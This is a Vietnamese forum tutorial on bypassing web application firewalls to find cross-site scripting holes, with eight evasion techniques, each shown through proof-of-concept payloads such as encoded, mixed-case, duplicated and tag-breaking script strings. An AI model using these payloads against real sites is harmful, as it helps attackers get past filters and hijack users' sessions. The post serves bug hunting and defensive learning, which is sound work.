Một vài phương pháp vượt qua tường lửa ứng dụng web để tìm lỗ hổng XSS

DDos

VIP Members
22/10/2013
524
2.189 bài viết
Một vài phương pháp vượt qua tường lửa ứng dụng web để tìm lỗ hổng XSS
Cross-Site Scripting (XSS) là một lỗ hổng ứng dụng web rất phổ biến. Lỗi XSS được thực hiện dựa trên việc chèn các đoạn script nguy hiểm vào trong mã nguồn ứng dụng web, nhằm thực thi các đoạn mã độc Javascript để chiếm phiên đăng nhập của người dùng. Theo thống kê từ hai nền tảng săn tìm lỗ hổng nổi tiếng HackerOne và BugCrowd, số lượng lỗ hổng XSS luôn ở vị trí đầu tiên.

Do mức độ phổ biến của lỗ hổng, một trong số biện pháp hữu hiệu nhất để ngăn ngừa đó là sử dụng tường lửa ứng dụng web (WAF). WAF cơ bản là tấm lá chắn giữa trình duyệt của bạn và ứng dụng web. WAF có thể được so sánh như một nhân viên bảo vệ của một tòa nhà nào đó, và nhân viên này có thể cho phép hoặc từ chối bất kỳ ai đi vào tòa nhà này. WAF có thể là chương trình phần mềm, hoặc thiết bị phần cứng mà nó lọc các yêu cầu tin đi từ trình duyệt tới ứng dụng web.

WAF có thể từ chối hoặc cho phép bất kỳ yêu cầu giữa các thiết bị dựa trên các nguyên tắc mà nó đã được cấu hình hoặc cài đặt bởi một người quản trị tường lửa. Rất nhiều WAF hoạt động trên một tập hợp các thiết lập (danh sách trắng hoặc danh sách đen) đã được cài đặt sẵn mà nó có thể ngăn ngừa các hiểm họa thông thường, người sử dụng không cần lo lắng về việc phải cấu hình firewall như thế nào.

Để vượt qua WAF, trước hết chúng ta cần tìm hiểu xem cách thức nó hoạt động. WAF thường hoạt động dựa trên 4 quy tắc dưới đây:
  • Phát hiện các giao thức ngoại lệ, ví dụ như từ chối các yêu cầu không đáp ứng tiêu chuẩn HTTP
  • Xác thực và kiểm tra dữ liệu đầu vào
  • Danh sách trắng & danh sách đen (Whitelist & Blacklist )
  • Ngoài ra còn có: Bảo vệ cookie, công nghệ tránh xâm nhập, giám sát phản hồi ...
Trong đó, phổ biến nhất vẫn là cơ chế Whitelist & Blacklist. Xét về độ bảo mật và an toàn thì Whitelist mạnh hơn Blacklist rất nhiều. Nhưng do những hạn chế nhất định và những nguy cơ chưa thể xác định, Blacklist vẫn đang được áp dụng nhiều hơn.

Screenshot 2021-05-15 155322.jpg


Một vài cách vượt qua tường lửa ứng dụng web (WAF) để tìm lỗ hổng XSS

1. Encoding bypass


Sử dụng các loại mã hóa đối với XSS Payload là một phương pháp đầu tiên được nghĩ tới. Đối với các WAF được cấu hình không đủ mạnh, phương pháp này rất hiệu quả. Một vài kiểu mã hóa có thể được sử dụng như:
  • Hex encode: <0x736372697074>alert('123')</0x736372697074>
  • jsfuck
  • Url encode: %3Cimg%20src%3Dx%20onerror%3Dprompt(1)%3E
  • Unicode encode: +ADw-img src+AD0-x onerror+AD0-prompt(1)+AD4-
  • magic_quotes_gpc <script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)</script>
2. Kết thúc một hàm/thẻ html và chèn một mã mới

Trong mã nguồn của ứng dụng web, do trình phân tích cú phát của nó, bất kỳ thẻ hay một hàm nào đều cần chạy với một cú pháp đúng. Do đó chỉ cần thêm các ký tự để kết thúc một hàm hoặc một thẻ html đồng thời chèn một XSS Payload sẽ giúp kích hoạt lỗi, ví dụ như:

"><script>alert(/123/)</script>
</script><script>alert(1)</script>

3. Case insensitive

Đối với WAF hoạt động theo cách thức danh sách đen hoặc danh sách trắng, việc tạo chữ ký không đầy đủ có thể dẫn đến thiếu xót trong việc ngăn chặn một XSS Payload độc hại. Việc thay đổi các dữ liệu đầo vào với các xáo trộn cũng có thể giúp vượt qua WAF, ví dụ như:

<ScRIpT>alert('123')</sCRIpT>

4. Sử dụng các thẻ HTML và sự kiện (event) JavaScript ít phổ biến:

Tương tự như phương pháp số 3, một WAF cấu hình không đủ mạnh có thể bỏ qua nhiều XSS Payload được cấu tạo bởi các thẻ HTML và sự kiện trong JavaScript ít phổ biến. Ví dụ như:

<button onclick="javascript:alert('xss')>XSS</button">
<title><img a="</title><img/src=1 onerror=alert(1)//">
"onsubmit=javascript:alert(1)%20name="a
<style/i=javascript:alert(1)’onload=’URL=i’>

5. Sử dụng các bình luận/mô tả

Các ngôn ngữ như HTML và JavaScript đều có các hàm/thẻ cho các nhà phát triển nhằm diễn giải mục đích của hàm được viết. Tận dụng những bình luận/mô tả này, kẻ tấn công có thể đưa XSS Payload vào ứng dụng web. Ví dụ như:

%0aalert(1);
/**/
%00

6. Sử dụng hai hoặc nhiều thẻ/sự kiện lặp lại:

Một số WAF sẽ phân tích XSS Payload từ dữ liệu đầu vào của người dùng, khi gặp một số Payload phổ biến, nó sẽ loại bỏ một số thành phần trong XSS Payload, nếu bạn lặp lại các thẻ hoặc sự kiện cũng có thể vượt qua WAF. Ví dụ như:

<img ononerrorerror="123">
<script><script>alalertert(123)</script>

7. Sử dụng các thủ thuật như:

  • sử dụng dấu `` thay vì dấu (). Ví dụ: <a style='color:red'onmouseover=this.onmouseover=alert`1`>aaa</a>
  • sử dụng %2f thay vì /. Ví dụ: <body%2fonpageshow=confirm(1)
  • không sử dụng khoảng trắng trong XSS Payload. Ví dụ: <style/onload=alert(1)>
8. Sử dụng kết hợp các phương pháp tất cả các phương pháp ở trên.
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  • Thích
Reactions: XSSer
Bên trên